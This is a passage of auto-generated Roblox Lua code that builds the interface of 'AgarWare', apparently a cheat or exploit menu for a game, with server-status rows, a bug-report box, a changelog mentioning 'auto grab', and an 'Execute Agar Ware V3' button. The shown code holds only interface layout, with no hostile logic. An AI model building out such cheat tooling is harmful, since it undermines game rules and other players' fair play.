G2L["2cb"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.PlayersRow.Text
G2L["2cc"] = Instance.new("TextLabel", G2L["2cb"]);
G2L["2cc"]["BorderSizePixel"] = 0;
G2L["2cc"]["TextSize"] = 14;
G2L["2cc"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2cc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2cc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cc"]["BackgroundTransparency"] = 1;
G2L["2cc"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2cc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cc"]["Text"] = [[👥 Players:]];
G2L["2cc"]["Name"] = [[Text]];
G2L["2cc"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.RegionRow
G2L["2cd"] = Instance.new("Frame", G2L["2c5"]);
G2L["2cd"]["BorderSizePixel"] = 0;
G2L["2cd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cd"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2cd"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2cd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cd"]["Name"] = [[RegionRow]];
G2L["2cd"]["LayoutOrder"] = 2;
G2L["2cd"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.RegionRow.Text
G2L["2ce"] = Instance.new("TextLabel", G2L["2cd"]);
G2L["2ce"]["BorderSizePixel"] = 0;
G2L["2ce"]["TextSize"] = 14;
G2L["2ce"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2ce"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ce"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ce"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ce"]["BackgroundTransparency"] = 1;
G2L["2ce"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2ce"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ce"]["Text"] = [[🌐 Region:]];
G2L["2ce"]["Name"] = [[Text]];
G2L["2ce"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UptimeRow
G2L["2cf"] = Instance.new("Frame", G2L["2c5"]);
G2L["2cf"]["BorderSizePixel"] = 0;
G2L["2cf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cf"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2cf"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2cf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cf"]["Name"] = [[UptimeRow]];
G2L["2cf"]["LayoutOrder"] = 3;
G2L["2cf"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UptimeRow.Text
G2L["2d0"] = Instance.new("TextLabel", G2L["2cf"]);
G2L["2d0"]["BorderSizePixel"] = 0;
G2L["2d0"]["TextSize"] = 14;
G2L["2d0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2d0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d0"]["BackgroundTransparency"] = 1;
G2L["2d0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2d0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d0"]["Text"] = [[⌛ Uptime:]];
G2L["2d0"]["Name"] = [[Text]];
G2L["2d0"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.LatencyRow
G2L["2d1"] = Instance.new("Frame", G2L["2c5"]);
G2L["2d1"]["BorderSizePixel"] = 0;
G2L["2d1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d1"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2d1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2d1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d1"]["Name"] = [[LatencyRow]];
G2L["2d1"]["LayoutOrder"] = 4;
G2L["2d1"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.LatencyRow.Text
G2L["2d2"] = Instance.new("TextLabel", G2L["2d1"]);
G2L["2d2"]["BorderSizePixel"] = 0;
G2L["2d2"]["TextSize"] = 14;
G2L["2d2"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2d2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d2"]["BackgroundTransparency"] = 1;
G2L["2d2"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2d2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d2"]["Text"] = [[📶 Latency:]];
G2L["2d2"]["Name"] = [[Text]];
G2L["2d2"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup
G2L["2d3"] = Instance.new("Frame", G2L["2c3"]);
G2L["2d3"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2d3"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2d3"]["Size"] = UDim2.new(0, 170, 0, 187);
G2L["2d3"]["Position"] = UDim2.new(0, 0, 0.38333, 0);
G2L["2d3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2d3"]["Name"] = [[SuggestionGroup]];
G2L["2d3"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionScript
G2L["2d4"] = Instance.new("LocalScript", G2L["2d3"]);
G2L["2d4"]["Name"] = [[SuggestionScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.UIListLayout
G2L["2d5"] = Instance.new("UIListLayout", G2L["2d3"]);
G2L["2d5"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionAccentColor
G2L["2d6"] = Instance.new("Frame", G2L["2d3"]);
G2L["2d6"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2d6"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2d6"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2d6"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2d6"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2d6"]["Name"] = [[SuggestionAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionTitle
G2L["2d7"] = Instance.new("TextLabel", G2L["2d3"]);
G2L["2d7"]["TextWrapped"] = true;
G2L["2d7"]["BorderSizePixel"] = 0;
G2L["2d7"]["TextSize"] = 14;
G2L["2d7"]["TextScaled"] = true;
G2L["2d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d7"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2d7"]["BackgroundTransparency"] = 0.95;
G2L["2d7"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d7"]["Text"] = [[Suggestions/Bugs]];
G2L["2d7"]["LayoutOrder"] = 1;
G2L["2d7"]["Name"] = [[SuggestionTitle]];
G2L["2d7"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionTitle.SuggestionMinimize
G2L["2d8"] = Instance.new("TextButton", G2L["2d7"]);
G2L["2d8"]["BorderSizePixel"] = 0;
G2L["2d8"]["TextSize"] = 14;
G2L["2d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d8"]["BackgroundTransparency"] = 1;
G2L["2d8"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d8"]["Text"] = [[-]];
G2L["2d8"]["Name"] = [[SuggestionMinimize]];
G2L["2d8"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow
G2L["2d9"] = Instance.new("Frame", G2L["2d3"]);
G2L["2d9"]["BorderSizePixel"] = 0;
G2L["2d9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2d9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2d9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d9"]["Name"] = [[TitleRow]];
G2L["2d9"]["LayoutOrder"] = 1;
G2L["2d9"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow.SuggestText
G2L["2da"] = Instance.new("TextLabel", G2L["2d9"]);
G2L["2da"]["BorderSizePixel"] = 0;
G2L["2da"]["TextSize"] = 14;
G2L["2da"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2da"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2da"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2da"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2da"]["BackgroundTransparency"] = 1;
G2L["2da"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2da"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2da"]["Text"] = [[READ ME]];
G2L["2da"]["Name"] = [[SuggestText]];
G2L["2da"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow.SuggestHelp
G2L["2db"] = Instance.new("TextButton", G2L["2d9"]);
G2L["2db"]["TextSize"] = 14;
G2L["2db"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["2db"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2db"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["2db"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2db"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["2db"]["Text"] = [[?]];
G2L["2db"]["Name"] = [[SuggestHelp]];
G2L["2db"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.MessageRow
G2L["2dc"] = Instance.new("Frame", G2L["2d3"]);
G2L["2dc"]["BorderSizePixel"] = 0;
G2L["2dc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2dc"]["Size"] = UDim2.new(0, 169, 0, 124);
G2L["2dc"]["Position"] = UDim2.new(0.00294, 0, 0.23148, 0);
G2L["2dc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2dc"]["Name"] = [[MessageRow]];
G2L["2dc"]["LayoutOrder"] = 3;
G2L["2dc"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.MessageRow.MessageBox
G2L["2dd"] = Instance.new("TextBox", G2L["2dc"]);
G2L["2dd"]["Name"] = [[MessageBox]];
G2L["2dd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2dd"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2dd"]["TextWrapped"] = true;
G2L["2dd"]["TextSize"] = 12;
G2L["2dd"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2dd"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2dd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2dd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2dd"]["ClearTextOnFocus"] = false;
G2L["2dd"]["PlaceholderText"] = [[write any bugs or suggestions...]];
G2L["2dd"]["Size"] = UDim2.new(0, 161, 0, 117);
G2L["2dd"]["Position"] = UDim2.new(0.02367, 0, 0.04114, 0);
G2L["2dd"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2dd"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SendRow
G2L["2de"] = Instance.new("Frame", G2L["2d3"]);
G2L["2de"]["BorderSizePixel"] = 0;
G2L["2de"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2de"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2de"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2de"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2de"]["Name"] = [[SendRow]];
G2L["2de"]["LayoutOrder"] = 4;
G2L["2de"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SendRow.SendButton
G2L["2df"] = Instance.new("TextButton", G2L["2de"]);
G2L["2df"]["TextSize"] = 14;
G2L["2df"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2df"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2df"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2df"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["2df"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2df"]["Text"] = [[Send Message]];
G2L["2df"]["Name"] = [[SendButton]];
G2L["2df"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3
G2L["2e0"] = Instance.new("Frame", G2L["2c3"]);
G2L["2e0"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2e0"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2e0"]["Size"] = UDim2.new(0, 170, 0, 46);
G2L["2e0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2e0"]["Name"] = [[V3]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Script
G2L["2e1"] = Instance.new("LocalScript", G2L["2e0"]);
G2L["2e1"]["Name"] = [[Script]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.UIListLayout
G2L["2e2"] = Instance.new("UIListLayout", G2L["2e0"]);
G2L["2e2"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.V3AccentColor
G2L["2e3"] = Instance.new("Frame", G2L["2e0"]);
G2L["2e3"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2e3"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2e3"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2e3"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2e3"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2e3"]["Name"] = [[V3AccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title
G2L["2e4"] = Instance.new("TextLabel", G2L["2e0"]);
G2L["2e4"]["TextWrapped"] = true;
G2L["2e4"]["BorderSizePixel"] = 0;
G2L["2e4"]["TextSize"] = 12;
G2L["2e4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e4"]["FontFace"] = Font.new([[rbxasset://fonts/families/PressStart2P.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e4"]["BackgroundTransparency"] = 0.95;
G2L["2e4"]["RichText"] = true;
G2L["2e4"]["Size"] = UDim2.new(0, 169, 0, 18);
G2L["2e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e4"]["Text"] = [[AGAR WARE V3 | PRE ALPHA]];
G2L["2e4"]["LayoutOrder"] = 1;
G2L["2e4"]["Name"] = [[Title]];
G2L["2e4"]["Position"] = UDim2.new(0.00294, 0, 0.02427, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title.texteffects
G2L["2e5"] = Instance.new("LocalScript", G2L["2e4"]);
G2L["2e5"]["Name"] = [[texteffects]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute
G2L["2e6"] = Instance.new("Frame", G2L["2e0"]);
G2L["2e6"]["BorderSizePixel"] = 0;
G2L["2e6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2e6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2e6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e6"]["Name"] = [[execute]];
G2L["2e6"]["LayoutOrder"] = 4;
G2L["2e6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.script
G2L["2e7"] = Instance.new("LocalScript", G2L["2e6"]);
G2L["2e7"]["Name"] = [[script]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.executebutton
G2L["2e8"] = Instance.new("TextButton", G2L["2e6"]);
G2L["2e8"]["TextSize"] = 14;
G2L["2e8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e8"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2e8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e8"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["2e8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2e8"]["Text"] = [[Execute Agar Ware V3]];
G2L["2e8"]["Name"] = [[executebutton]];
G2L["2e8"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide
G2L["2e9"] = Instance.new("Frame", G2L["2c2"]);
G2L["2e9"]["BorderSizePixel"] = 0;
G2L["2e9"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["2e9"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["2e9"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["2e9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e9"]["Name"] = [[MenuRightSide]];
G2L["2e9"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UIListLayout
G2L["2ea"] = Instance.new("UIListLayout", G2L["2e9"]);
G2L["2ea"]["Padding"] = UDim.new(0, 7);
G2L["2ea"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup
G2L["2eb"] = Instance.new("Frame", G2L["2e9"]);
G2L["2eb"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2eb"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2eb"]["Size"] = UDim2.new(0, 170, 0, 131);
G2L["2eb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2eb"]["Name"] = [[UpLogsGroup]];
G2L["2eb"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsScript
G2L["2ec"] = Instance.new("LocalScript", G2L["2eb"]);
G2L["2ec"]["Name"] = [[UpLogsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UIListLayout
G2L["2ed"] = Instance.new("UIListLayout", G2L["2eb"]);
G2L["2ed"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsAccentColor
G2L["2ee"] = Instance.new("Frame", G2L["2eb"]);
G2L["2ee"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2ee"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2ee"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2ee"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2ee"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2ee"]["Name"] = [[UpLogsAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsTitle
G2L["2ef"] = Instance.new("TextLabel", G2L["2eb"]);
G2L["2ef"]["TextWrapped"] = true;
G2L["2ef"]["BorderSizePixel"] = 0;
G2L["2ef"]["TextSize"] = 14;
G2L["2ef"]["TextScaled"] = true;
G2L["2ef"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ef"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ef"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2ef"]["BackgroundTransparency"] = 0.95;
G2L["2ef"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2ef"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ef"]["Text"] = [[Change Log]];
G2L["2ef"]["LayoutOrder"] = 1;
G2L["2ef"]["Name"] = [[UpLogsTitle]];
G2L["2ef"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsTitle.UpLogsMinimize
G2L["2f0"] = Instance.new("TextButton", G2L["2ef"]);
G2L["2f0"]["BorderSizePixel"] = 0;
G2L["2f0"]["TextSize"] = 14;
G2L["2f0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f0"]["BackgroundTransparency"] = 1;
G2L["2f0"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2f0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f0"]["Text"] = [[-]];
G2L["2f0"]["Name"] = [[UpLogsMinimize]];
G2L["2f0"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow
G2L["2f1"] = Instance.new("Frame", G2L["2eb"]);
G2L["2f1"]["BorderSizePixel"] = 0;
G2L["2f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f1"]["Size"] = UDim2.new(0, 169, 0, 91);
G2L["2f1"]["Position"] = UDim2.new(0.00294, 0, 0.15217, 0);
G2L["2f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f1"]["Name"] = [[ScrollingRow]];
G2L["2f1"]["LayoutOrder"] = 2;
G2L["2f1"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame
G2L["2f2"] = Instance.new("ScrollingFrame", G2L["2f1"]);
G2L["2f2"]["Active"] = true;
G2L["2f2"]["CanvasSize"] = UDim2.new(0, 0, 12, 0);
G2L["2f2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2f2"]["Size"] = UDim2.new(0, 152, 0, 103);
G2L["2f2"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f2"]["Position"] = UDim2.new(0.05325, 0, 0.03516, 0);
G2L["2f2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2f2"]["ScrollBarThickness"] = 10;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8
G2L["2f3"] = Instance.new("Frame", G2L["2f2"]);
G2L["2f3"]["BorderSizePixel"] = 0;
G2L["2f3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f3"]["Size"] = UDim2.new(0, 152, 0, 103);
G2L["2f3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f3"]["Name"] = [[V2.8]];
G2L["2f3"]["LayoutOrder"] = 1000;
G2L["2f3"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.Text
G2L["2f4"] = Instance.new("TextLabel", G2L["2f3"]);
G2L["2f4"]["TextWrapped"] = true;
G2L["2f4"]["BorderSizePixel"] = 0;
G2L["2f4"]["TextSize"] = 12;
G2L["2f4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f4"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2f4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f4"]["BackgroundTransparency"] = 1;
G2L["2f4"]["RichText"] = true;
G2L["2f4"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2f4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f4"]["Text"] = [[===== v2.7 > v2.8
New Features - New menu page and server status. New Tools setection (TCO).
Bug Fixes - Stronger auto grab (TCO).
=====]];
G2L["2f4"]["Name"] = [[Text]];
G2L["2f4"]["Position"] = UDim2.new(0.04605, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.UIListLayout
G2L["2f5"] = Instance.new("UIListLayout", G2L["2f2"]);
G2L["2f5"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.1
G2L["2f6"] = Instance.new("Frame", G2L["2f2"]);
G2L["2f6"]["BorderSizePixel"] = 0;
G2L["2f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f6"]["Size"] = UDim2.new(0, 152, 0, 54);
G2L["2f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f6"]["Name"] = [[V2.8.1]];
G2L["2f6"]["LayoutOrder"] = 999;
G2L["2f6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.1.Text
G2L["2f7"] = Instance.new("TextLabel", G2L["2f6"]);
G2L["2f7"]["TextWrapped"] = true;
G2L["2f7"]["BorderSizePixel"] = 0;
G2L["2f7"]["TextSize"] = 12;
G2L["2f7"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f7"]["TextYAlignment"] = Enum.TextYAlignment.Top;
